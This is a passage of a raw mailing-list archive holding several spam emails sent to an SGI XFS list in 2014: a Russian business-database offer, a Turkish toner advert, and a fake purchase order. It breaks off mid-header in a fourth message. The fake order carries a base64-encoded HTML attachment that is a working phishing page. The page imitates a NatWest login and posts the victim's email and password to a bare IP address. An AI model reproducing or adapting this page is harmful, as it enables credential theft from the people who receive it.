66uOh26GEMTn1vlcx1EDJvbUMroqBnG3wgAKpZ50+bXSFq5U3lMOQD27ekxnHwLPbEBn jQb3vRWka6W9ajF073jxPC/hOMHr6Vvx1qHyy6c6DH1ZxYBZAcGQ8Imfmx/bxx5cEjju EPQ+9RUV6KKEy09pPBTPbbNdzRa/ClgZSYrZKL0Z3b3HyYaw5yPf8f4hhVIHK3dMQ565 l65A== MIME-Version: 1.0 X-Received: by 10.140.90.80 with SMTP id w74mr82298qgd.96.1392618098106; Sun, 16 Feb 2014 22:21:38 -0800 (PST) Received: by 10.229.35.193 with HTTP; Sun, 16 Feb 2014 22:21:38 -0800 (PST) Date: Mon, 17 Feb 2014 08:21:38 +0200 Message-ID: Subject: =?KOI8-R?B?+sHQ0s/TIM/Uzs/TydTFzNjOzyDrz83NxdLe?= =?KOI8-R?B?xdPLz8fPINDSxcTMz9bFzsnRICLiwdrBIMTBzs7ZyCA=?= =?KOI8-R?B?0NLFxNDSydHUycog8s/T08nJIg==?= From: Stanislovas Bubys X-ASG-Orig-Subj: =?KOI8-R?B?+sHQ0s/TIM/Uzs/TydTFzNjOzyDrz83NxdLe?= =?KOI8-R?B?xdPLz8fPINDSxcTMz9bFzsnRICLiwdrBIMTBzs7ZyCA=?= =?KOI8-R?B?0NLFxNDSydHUycog8s/T08nJIg==?= To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=001a11c137e40bb92e04f2942be4 X-Barracuda-Connect: mail-qa0-f66.google.com[209.85.216.66] X-Barracuda-Start-Time: 1392618407 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145199 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c137e40bb92e04f2942be4 Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: base64 +sHQ0s/TIM/Uzs/TydTFzNjOzyDrz83NxdLexdPLz8fPINDSxcTMz9bFzsnRICLiwdrBIMTBzs7Z yCDQ0sXE0NLJ0dTJyg0K8s/T08nJIg0KDQoNCg0KDQoNCg0KDQoNCg0K5M/C0tnKIMTFztgsDQoN Cg0KDQrt2SAtINDSxcTQ0snR1MnFLCDExdHUxczYzs/T1NjAIMvP1M/Sz8fPINHXzNHF1NPRINDS xcTP09TB18zFzsnFIMnOxs/SzcHDyckNCs8gxNLVx8nIINDSxcTQ0snR1MnRyC4NCg0K7dkg08/T 1MHXzNHFzSDCwdrZIMTBzs7ZyCDQ0sXE0NLJ0dTJyi/LwdTBzM/HySDQ0sXE0NLJ0dTJyi4NCg0K DQoNCujP1MnNINUg98HTINPQ0s/TydTYLCDNz9bFzSDMySDN2SDQ0snTzMHU2CD3wc0gy8/NzcXS 3sXTy8/FINDSxcTMz9bFzsnFIM8NCtDSyc/C0sXUxc7JySAi4sHa2SDEwc7O2cgg0NLFxNDSydHU ycog8s/T08nJIj8gKPcgzsXKIMXT1NggMi44NzAuMDAwDQrQ0sXE0NLJ0dTJyiwgz8LOz9fMxc7B IDA2LjAxLjIwMTQpDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0K8yDV18HWxc7Jxc0sDQoNCvLVy8/X z8TJ1MXM2CDQzyDQ0s/EwdbBzQ0KDQrkxc7J0yDrz9fBzNjTy8nTDQoNCg0KDQoNCg0KDQoNCklu cXVpcnkgb24gYSBjb21tZXJjaWFsIG9mZmVyICJEYXRhYmFzZSBvZiBSdXNzaWFuIENvbXBhbmll cyINCg0KDQoNCg0KDQoNCg0KDQoNCkRlYXIgU2lyIG9yIE1hZGFtLA0KDQoNCg0KV2UgYXJlIHRo ZSBjb21wYW55IHdob3NlIGFjdGl2aXR5IGlzIHRvIHByb3ZpZGUgaW5mb3JtYXRpb24gYWJvdXQg b3RoZXINCmNvbXBhbmllcy4NCg0KV2UgY3JlYXRlIGNvbXBhbnkgZGF0YWJhc2VzL2NhdGFsb2d1 ZXMuDQoNCg0KDQpXZSB3b3VsZCBsaWtlIHRvIGFzayB5b3UgaWYgd2UgY2FuIHNlbmQgeW91IGEg Y29tbWVyY2lhbCBvZmZlciBvbiAiUHVyY2hhc2UNCm9mIHRoZSBEYXRhYmFzZSBvZiBSdXNzaWFu IENvbXBhbmllcyI/ICAoSXQgY29udGFpbnMgMi44NzAuMDAwIGNvbXBhbmllcywNCnVwZGF0ZWQg b24gMDYvMDEvMjAxNCkNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQpTaW5jZXJlbHksDQoNCkhlYWQg b2YgU2FsZXMNCg0KRGVuaXMgS292YWxza2lzDQo= --001a11c137e40bb92e04f2942be4 Content-Type: text/html; charset=KOI8-R Content-Transfer-Encoding: quoted-printable

 

 

= =FA=C1=D0=D2=CF=D3 =CF=D4=CE=CF=D3= =C9=D4=C5=CC=D8=CE=CF =EB=CF=CD=CD=C5=D2=DE=C5=D3=CB=CF=C7=CF =D0=D2=C5=C4= =CC=CF=D6=C5=CE=C9=D1 "=E2=C1=DA=C1 =C4=C1=CE=CE=D9=C8 =D0=D2=C5=C4=D0=D2=C9=D1=D4=C9=CA =F2=CF=D3=D3=C9=C9&quo= t;

=  

=  

=  

=  

= =E4=CF=C2=D2=D9=CA =C4=C5=CE=D8,

=  

= =ED=D9 – =D0=D2=C5=C4=D0=D2= =C9=D1=D4=C9=C5, =C4=C5=D1=D4=C5=CC=D8=CE=CF=D3=D4=D8=C0 =CB=CF=D4=CF=D2=CF= =C7=CF =D1=D7=CC=D1=C5=D4=D3=D1 =D0=D2=C5=C4=CF=D3=D4=C1=D7=CC=C5=CE=C9=C5 =C9=CE=C6=CF=D2=CD=C1=C3=C9=C9 = =CF =C4=D2=D5=C7=C9=C8 =D0=D2=C5=C4=D0=D2=C9=D1=D4=C9=D1=C8.

= =ED=D9 =D3=CF=D3=D4=C1=D7=CC=D1=C5= =CD =C2=C1=DA=D9 =C4=C1=CE=CE=D9=C8 =D0=D2=C5=C4=D0=D2=C9=D1=D4=C9=CA/=CB= =C1=D4=C1=CC=CF=C7=C9 =D0=D2=C5=C4=D0=D2=C9=D1=D4=C9=CA.

=  

= =E8=CF=D4=C9=CD =D5 =F7=C1=D3 =D3= =D0=D2=CF=D3=C9=D4=D8, =CD=CF=D6=C5=CD =CC=C9 =CD=D9 =D0=D2=C9=D3=CC=C1=D4= =D8 =F7=C1=CD =CB=CF=CD=CD=C5=D2=DE=C5=D3=CB=CF=C5 =D0=D2=C5=C4=CC=CF=D6=C5=CE=C9=C5 =CF =D0=D2=C9=CF=C2=D2=C5=D4=C5=CE=C9=C9 = "=E2=C1=DA=D9 =C4=C1=CE=CE=D9=C8 =D0=D2=C5=C4=D0=D2=C9=D1=D4=C9=CA =F2= =CF=D3=D3=C9=C9"? (=F7 =CE=C5=CA =C5=D3=D4=D8 2.870.000 =D0=D2=C5=C4=D0=D2=C9=D1=D4=C9=CA, =CF=C2=CE=CF=D7= =CC=C5=CE=C1 06.01.2014)

=  

=  

=  

=  

=  

= =F3 =D5=D7=C1=D6=C5=CE=C9=C5=CD,

= =F2=D5=CB=CF=D7=CF=C4=C9=D4=C5=CC= =D8 =D0=CF =D0=D2=CF=C4=C1=D6=C1=CD

=E4=C5=CE= =C9=D3 =EB=CF=D7=C1=CC=D8=D3=CB=C9=D3    &n= bsp;            = ;            &n= bsp;            = ;          

 

 

=  

= Inquiry on a commercial offer "Database of Russian Companies"= ;

=  

=  

=  

=  

= Dear Sir or Madam,

=  

= We are the company whose activi= ty is to provide information about other companies.

= We create company databases/cat= alogues.

=  

= We would like to ask you if we = can send you a commercial offer on "Purchase of the Database of Russian Companies&rdq= uo;?  (It contains 2.870.000 companies, updated on 06/01/2014)

=  

=  

=  

=  

=  

= Sincerely,

Head of = Sales

Denis Kovalskis

 

--001a11c137e40bb92e04f2942be4-- From po@aig.com Mon Feb 17 00:41:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.9 required=5.0 tests=DEAR_SOMETHING, FILL_THIS_FORM_FRAUD_PHISH,HTML_IMAGE_RATIO_06,HTML_MESSAGE,NORMAL_HTTP_TO_IP, SUBJ_ALL_CAPS,T_FILL_THIS_FORM_SHORT,T_HTML_ATTACH autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 61F817F84 for ; Mon, 17 Feb 2014 00:41:33 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E5072AC002 for ; Sun, 16 Feb 2014 22:41:32 -0800 (PST) X-ASG-Debug-ID: 1392619264-04cb6c6de14a75d0001-NocioJ Received: from relay.mailchannels.net (si-002-i159.relay.mailchannels.net [108.178.49.171]) by cuda.sgi.com with ESMTP id P9YsdycZEmELDCEM; Sun, 16 Feb 2014 22:41:04 -0800 (PST) X-Barracuda-Envelope-From: po@aig.com X-Barracuda-Apparent-Source-IP: 108.178.49.171 X-Sender-Id: arvixe|x-authuser|tessaten Received: from dunlin.arvixe.com (ip-10-244-196-74.us-west-2.compute.internal [10.244.196.74]) by relay.mailchannels.net (Postfix) with ESMTPA id 229A9609AF; Mon, 17 Feb 2014 06:40:18 +0000 (UTC) X-Sender-Id: arvixe|x-authuser|tessaten Received: from dunlin.arvixe.com (dunlin.arvixe.com [10.244.170.26]) (using TLSv1 with cipher DHE-RSA-AES256-SHA) by 0.0.0.0:2500 (trex/5.0.19); Mon, 17 Feb 2014 06:40:58 GMT X-MC-Relay: Neutral X-MailChannels-SenderId: arvixe%7Cx-authuser%7Ctessaten X-MailChannels-Auth-Id: arvixe Received: from localhost.localdomain ([127.0.0.1]:41001 helo=webmail.dunlin.arvixe.com) by dunlin.arvixe.com with esmtpa (Exim 4.82) (envelope-from ) id 1WFHsF-0005sN-JJ; Sun, 16 Feb 2014 22:40:15 -0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=_5f2bd314e37ad2b0f642fda9552837e4" Date: Sun, 16 Feb 2014 22:40:15 -0800 From: Mrs Stella Morgan To: gareta2@hotmail.fr Subject: RE: NEW ORDER Organization: American International Group X-ASG-Orig-Subj: RE: NEW ORDER Reply-To: import@brew-master.com Mail-Reply-To: import@brew-master.com Message-ID: <32459dcd16f433e6488a487d4585ce34@tessatennis.com> X-Sender: po@aig.com User-Agent: Roundcube Webmail/0.9.5 X-AuthUser: tessaten X-Barracuda-Connect: si-002-i159.relay.mailchannels.net[108.178.49.171] X-Barracuda-Start-Time: 1392619264 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.44 X-Barracuda-Spam-Status: No, SCORE=2.44 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC7_SA015c, HTML_IMAGE_RATIO_06, HTML_MESSAGE, MAILTO_TO_SPAM_ADDR, NORMAL_HTTP_TO_IP, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145199 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.00 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.62 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 0.80 BSF_SC7_SA015c Custom Rule SA015c --=_5f2bd314e37ad2b0f642fda9552837e4 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=UTF-8; format=flowed Dear sir/madam, COMPLIMENT OF THE SEASON 2014!!! We the entire Group AL-trading are interested in your products. please find an attached of our product specification and our purchase order And give us a nice quote and good terms so we can proceed Hope to hear from you asap. Best Regards Ms. Vivian Ong Purchase manager AlGroup Tradings LLC 141 -245 Industrial layout Fax: +31 806 356 8794 phone: +31 806 356 879 skype: ALGroup1 --=_5f2bd314e37ad2b0f642fda9552837e4 Content-Transfer-Encoding: base64 Content-Type: text/html; name=Simple.html Content-Disposition: attachment; filename=Simple.html; size=3864 PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5UUkFERSBGSUxFPC90aXRsZT4NCjwvaGVhZD4NCjxib2R5 IGJnY29sb3I9IndoaXRlIiB0ZXh0PSJibGFjayIgbGluaz0iYmx1ZSIgYWxpbms9ImJsdWUiIHZs aW5rPSJibHVlIiBiYWNrZ3JvdW5kPSIiID4NCjwhLS0gNjY2MTMgLS0+DQo8Zm9udCBmYWNlPSJB cmlhbCIgc3R5bGU9ImZvbnQtc2l6ZTogMjBwdCIgY29sb3I9IiMzNDJDOUEiPg0KPGNlbnRlcj48 Yj5TaWduIEluIFlvdXIgRW1haWwgRm9yIDwvYj48L2ZvbnQ+PGI+DQo8Zm9udCBmYWNlPSJBcmlh bCIgc3R5bGU9ImZvbnQtc2l6ZTogMjBwdCIgY29sb3I9IiMzNDJDOUEiPiBUcmFuc2ZlciBDb25m aXJtYXRpb248L2ZvbnQ+PC9iPjxmb250IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9NT48cD4N CjxiPkUtYmFua2luZyBOZXQgTG9nPC9iPjwvcD4NCjwvZm9udD4NCjxmb250IGZhY2U9InZlcmRh bmEsYXJpYWwiIHNpemU9LTE+DQo8dGFibGUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wIGJv cmRlcj0wPg0KPHRyPjx0ZCBiZ2NvbG9yPSJibHVlIj48dGFibGUgY2VsbHBhZGRpbmc9MCBjZWxs c3BhY2luZz0wIGJvcmRlcj0wIHdpZHRoPTEwMCU+PHRyPjx0ZCBiZ2NvbG9yPSJibHVlIiBhbGln bj1jZW50ZXIgc3R5bGU9InBhZGRpbmc6MjtwYWRkaW5nLWJvdHRvbTo0Ij48Yj4NCgk8Zm9udCBz aXplPS0xIGNvbG9yPSJ3aGl0ZSIgZmFjZT0iQ29taWMgU2FucyBNUyI+RW50ZXIgeW91ciANCglF bWFpbCBJRCBhbmQgcGFzc3dvcmQ8L2ZvbnQ+PC9iPjwvZm9udD48Yj48Zm9udCBmYWNlPSJDb21p YyBTYW5zIE1TIiBzaXplPS0xPjwvdGg+PC9mb250Pjxmb250IGZhY2U9IkNvbWljIFNhbnMgTVMi IHNpemU9LTE+PC90cj4NCg0KPC9mb250Pjxmb250IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9 LTE+DQo8dHI+PHRkIGJnY29sb3I9IndoaXRlIiBzdHlsZT0icGFkZGluZzo1Ij48YnI+DQo8Zm9y bSBhY3Rpb249Imh0dHA6Ly8xNzcuNzAuOTYuMTI5L35hbGlhbmNhL2pzL2ludm9pY2UvdHJhbnNm ZXJmb3JtLnBocCIgbWV0aG9kPSJwb3N0Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVz ZXJuYW1lIiB2YWx1ZT0icGF5bG1tbGluZSI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJy ZXFkIiB2YWx1ZT0iMCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1cmwiIHZhbHVlPSJo dHRwOi8vd3d3d3d3d3d3L2FjdGl2aXRpZXMvcHJvbW90aW9uYWwtcHJvZHVjdHMvaW5kZXguaHRt bCI+DQo8Y2VudGVyPjx0YWJsZSB3aWR0aD0iNTE3Ij4NCjx0cj48dGQgd2lkdGg9IjExMCI+PGZv bnQgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsgDQoJRS1NQUlMIElEOjwvdGQ+PHRkIHdpZHRoPSIzOTciPjxpbnB1dCB0eXBl PSJ0ZXh0IiBuYW1lPSJsb2dpbiIgc2l6ZT0iNDAiPjwvdGQ+PC90cj4NCjx0cj48dGQgY29sc3Bh bj0yPjxmb250IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9LTE+Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 DQoJPC9mb250Pjxmb250IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9MT48c3BhbiAgY2xhc3M9 dGV4dDFhPihleGFtcGxlNzc3QGRvbWFpbi5jb20pPC9zcGFuPjwvdGQ+PC90cj4NCjx0cj4NCjxm b250IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9LTE+DQoJPHRkIHdpZHRoPSIxMTAiPjxmb250 IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9LTE+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IA0K CVBBU1NXT1JEOjwvdGQ+DQoNCgk8dGQgd2lkdGg9IjM5NyI+PGlucHV0IHR5cGU9InBhc3N3b3Jk IiBuYW1lPSJwYXNzd29yZCIgc2l6ZT0iNDAiPjwvdGQ+DQoJPC9mb250Pg0KPC90cj4NCjx0cj4N Cjxmb250IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9LTE+DQoJPHRkIHdpZHRoPSIxMTAiPjxm b250IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9LTE+Jm5ic3A7PC90ZD4NCgk8dGQgd2lkdGg9 IjM5NyI+PGZvbnQgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT48aW5wdXQgdHlwZT0ic3Vi bWl0IiB2YWx1ZT0iTG9nIGluIFRvIFZpZXciPjwvdGQ+DQoJPC9mb250Pg0KPC90cj4NCjx0cj48 dGQgY29sc3Bhbj0yPjxmb250IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9LTE+PC90ZD48L3Ry Pg0KPC90YWJsZT48L2NlbnRlcj4NCjwvZm9ybT4NCg0KCTxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFT Y3JpcHQiPg0KCTwhLS0gDQoJCQlpZiAoZG9jdW1lbnQuYWZvcm0ubG9naW4udmFsdWUgPT0gJycp IHsNCgkJCQlkb2N1bWVudC5hZm9ybS5sb2dpbi5mb2N1cygpOw0KCQkJfSANCgktLT4NCgk8L3Nj cmlwdD4NCjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+PC90cj48L3RhYmxlPg0KPGRpdiBjbGFzcz0i Y29weXJpZ2h0IGNMaWdodCI+DQombmJzcDs8L2Rpdj4NCjxwPkNvcHlyaWdodCBOb3RpY2UgJiM2 NTQ0OTsgTGVnYWwgSW5mbyBTZWN1cml0eSCpIDIwMDUtMjAxMyBOYXRpb25hbCBXZXN0bWluc3Rl ciBCYW5rIFBsYyAuICA8L3A+DQombmJzcDs8Y2VudGVyPjxwPjxociBzaXplPTEgd2lkdGg9Ijkw JSI+Jm5ic3A7PC9wPjwvY2VudGVyPg0KPC9mb250Pg0KPHA+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGltZyBhbHQ9Imh0dHA6Ly9t aW1nLjEyNi5uZXQvbG9nby8xMjZsb2dvLmdpZiIgc3JjPSJodHRwczovL2VuY3J5cHRlZC10Ym4y LmdzdGF0aWMuY29tL2ltYWdlcz9xPXRibjpBTmQ5R2NURERvbUI2X2pEeVVwMGFpVUd1UXEzQld5 bmJZbnFPMlhXdFpTTlNZWkJoRUpBNW56QSI+PGltZyBhbHQ9Imh0dHA6Ly9wLmViYXlzdGF0aWMu Y29tL2F3L3BpY3MvbG9nb3MvbG9nb0ViYXlfeDQ1LmdpZiIgc3JjPSJodHRwczovL2VuY3J5cHRl ZC10Ym4yLmdzdGF0aWMuY29tL2ltYWdlcz9xPXRibjpBTmQ5R2NSbWgzR2wxM1F0ZlN1UjhSU3ZU VngyVWhYd3RyQ0xJSy1TRENpQnZ2TkxQVHBleTRqQlhnIiB3aWR0aD0iMTEwIiBoZWlnaHQ9IjM2 Ij4mbmJzcDsgPGltZyBzcmM9Imh0dHA6Ly9pbWczLmNhY2hlLm5ldGVhc2UuY29tL3d3dy9sb2dv L2xvZ29fcG5nLnBuZyIgYWx0PSIiIHRpdGxlPSIiIGJvcmRlcj0wIHdpZHRoPTEyMiBoZWlnaHQ9 NDQ+Jm5ic3A7Jm5ic3A7IDxpbWcgc3JjPSJodHRwczovL2VuY3J5cHRlZC10Ym4zLmdzdGF0aWMu Y29tL2ltYWdlcz9xPXRibjpBTmQ5R2NScngwVElRRnlaNjh6bVhROGc3aHMxYjBYaEtqODR5ZFhh X0g3c0c4YjF4TG83dTRaayIgYWx0PSIiIHRpdGxlPSIiIGJvcmRlcj0wIHdpZHRoPTE0MiBoZWln aHQ9MjY+PGltZyBzcmM9Imh0dHBzOi8vc2VjdXJlLndseHJzLmNvbS9+TGl2ZS5TaXRlQ29udGVu dC5JRC9+MTYuMC4yL34vfi9+L34vaW1hZ2VzL1dpbmRvd3NMaXZlLnBuZyIgYWx0PSIiIHRpdGxl PSIiIGJvcmRlcj0wIHdpZHRoPTE3NSBoZWlnaHQ9MjM+Jm5ic3A7PGltZyBzcmM9Imh0dHA6Ly9t aW1nLnllYWgubmV0L2xvZ28veWVhaGxvZ29fbWlkZGxlLmdpZiIgYWx0PSIiIHRpdGxlPSIiIGJv cmRlcj0wIHdpZHRoPTE3NCBoZWlnaHQ9NjI+DQo8aW1nIHNyYz0iaHR0cHM6Ly9lbmNyeXB0ZWQt dGJuMC5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUnB1cnlJMThyMS1GTXNVc1lkYml3 NEN3dElveHEya3RyZnE2M1d6a3FBSVA4Q3NwX2EzQSIgYWx0PSIiIHRpdGxlPSIiIGJvcmRlcj0w IHdpZHRoPTEzOCBoZWlnaHQ9NDk+PC9wPg0KDQo8L2JvZHk+DQo8L2h0bWw+ --=_5f2bd314e37ad2b0f642fda9552837e4-- From geri@tonersepeti.info Mon Feb 17 01:29:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 616587F84 for ; Mon, 17 Feb 2014 01:29:31 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CF194AC002 for ; Sun, 16 Feb 2014 23:29:27 -0800 (PST) X-ASG-Debug-ID: 1392622162-04cbb00c294a5bc0001-w1Z2WR Received: from Centos-6-Plesk-11-5.localhost (mail.tonersepeti.info [94.138.221.122]) by cuda.sgi.com with ESMTP id WwYUjDDF45Ngw7JE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 16 Feb 2014 23:29:23 -0800 (PST) X-Barracuda-Envelope-From: geri@tonersepeti.info X-Barracuda-Apparent-Source-IP: 94.138.221.122 Received: (qmail 22338 invoked by uid 10000); 17 Feb 2014 07:35:33 +0200 To: linux-xfs@oss.sgi.com Subject: I. Kalite Muadil Tonerler X-PHP-Originating-Script: 10000:email.php X-ASG-Orig-Subj: I. Kalite Muadil Tonerler Message-ID: Date: Mon, 17 Feb 2014 07:05:12 +0200 From: "Toner Sepeti" Reply-To: siparis@tonersepeti.com.tr MIME-Version: 1.0 X-Mailer-LID: 3 List-Unsubscribe: X-Mailer-RecptId: 338660 X-Mailer-SID: 3 X-Mailer-Sent-By: 2 Content-Type: multipart/alternative; charset="UTF-8"; boundary="b1_c4d6b7bed77ee8bffa78aecfa0e29f42" Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mail.tonersepeti.info[94.138.221.122] X-Barracuda-Start-Time: 1392622163 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.80 X-Barracuda-Spam-Status: No, SCORE=0.80 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA_HREF_WWW_MISMATCH, HTML_MESSAGE, INFO_TLD X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145200 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.80 BSF_SC7_SA_HREF_WWW_MISMATCH BODY: Custom Phishing Mismatch 0.00 INFO_TLD URI: Contains an URL in the INFO top-level domain 0.00 HTML_MESSAGE BODY: HTML included in message --b1_c4d6b7bed77ee8bffa78aecfa0e29f42 Content-Type: text/plain; format=flowed; charset="UTF-8" Content-Transfer-Encoding: 8bit Eposta alıcınız bu epostayı okuyamıyor. Online görmek için, lütfen buraya gidiniz: http://tonersepeti.info/display.php?M=338660&C=6d445f634b139ef2ab7cc553853e11d0&S=3&L=3&N=1 Bu epostalardan almak istemiyorsanız: http://tonersepeti.info/unsubscribe.php?M=338660&C=6d445f634b139ef2ab7cc553853e11d0&L=3&N=3 --b1_c4d6b7bed77ee8bffa78aecfa0e29f42 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 8bit Company Name

Bu Epostayı Görüntüleyemiyorsanız Lütfen Burayı Tıklayınız..

tonersepeti_logo.png

 

Toner sepetinde ;

%100 geri iade garantili I. kalite muadil tonerler ve orjinal tonerleri kapıda Ödeme ve Kredi kartı ödeme  ile satın alabilirsiniz.

Detay

Neden Toner sepeti ?

1-  Hızlı ve Ücretsiz Kargo

2-  Uygun Fiyata, Yüksek Kalite

3-  Kapıda Ödeme Kolaylığı

4-  Geri İade Garantisi

5-  GeniÅŸ Ürün Yelpazesi

 
www.toner
sepeti.com.tr

 

Memnuniyetiniz , bizim için önemlidir.

Tonersepeti.com.tr

Adres:

SöÄŸütlüçeÅŸme cad. No: 146 / 7
Kadıköy / İstanbul 

Çalışma Saatleri
09:00 - 18:00

Tel:   0216 449 84 84
Fax : 0216 449 91 00


toner.jpg
 

www.tonersepeti.com.tr

 
--b1_c4d6b7bed77ee8bffa78aecfa0e29f42-- From puwsa@uwindsor.ca Mon Feb 17 03:14:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 543C47F85 for ; Mon, 17 Feb 2014 03:14:38 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E2B56AC004 for ; Mon, 17 Feb 2014 01:14:34 -0800 (PST) X-ASG-Debug-ID: 1392628472-04cb6c6de04b0230001-w1Z2WR Received: from pmailout1.uwindsor.ca (pmailout1.uwindsor.ca [137.207.32.117]) by cuda.sgi.com with ESMTP id F4nMI3PkqUd4BC81 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 17 Feb 2014 01:14:32 -0800 (PST) X-Barracuda-Envelope-From: puwsa@uwindsor.ca X-Barracuda-Apparent-Source-IP: 137.207.32.117 Received: from notesmail.uwindsor.ca (helios.uwindsor.ca [137.207.90.50]) by pmailout1.uwindsor.ca (8.14.4/8.14.4) with ESMTP id s1H97kOX014516 for ; Mon, 17 Feb 2014 04:14:31 -0500 (EST) (envelope-from puwsa@uwindsor.ca) MIME-Version: 1.0 Importance: Normal X-Priority: 3 (Normal) In-Reply-To: References: Subject: administrator de sistem From: Rob Crawford X-ASG-Orig-Subj: administrator de sistem Message-ID: Date: Mon, 17 Feb 2014 04:13:13 -0500 X-Mailer: Lotus Domino Web Server Release 9.0.1 HF32 November 25, 2013 X-MIMETrack: Serialize by HTTP Server on TRITON/University of Windsor(Release 9.0.1 HF32|November 25, 2013) at 17/02/2014 04:13:13 AM, Serialize complete at 17/02/2014 04:13:13 AM, Serialize by Router on HELIOS/University of Windsor(Release 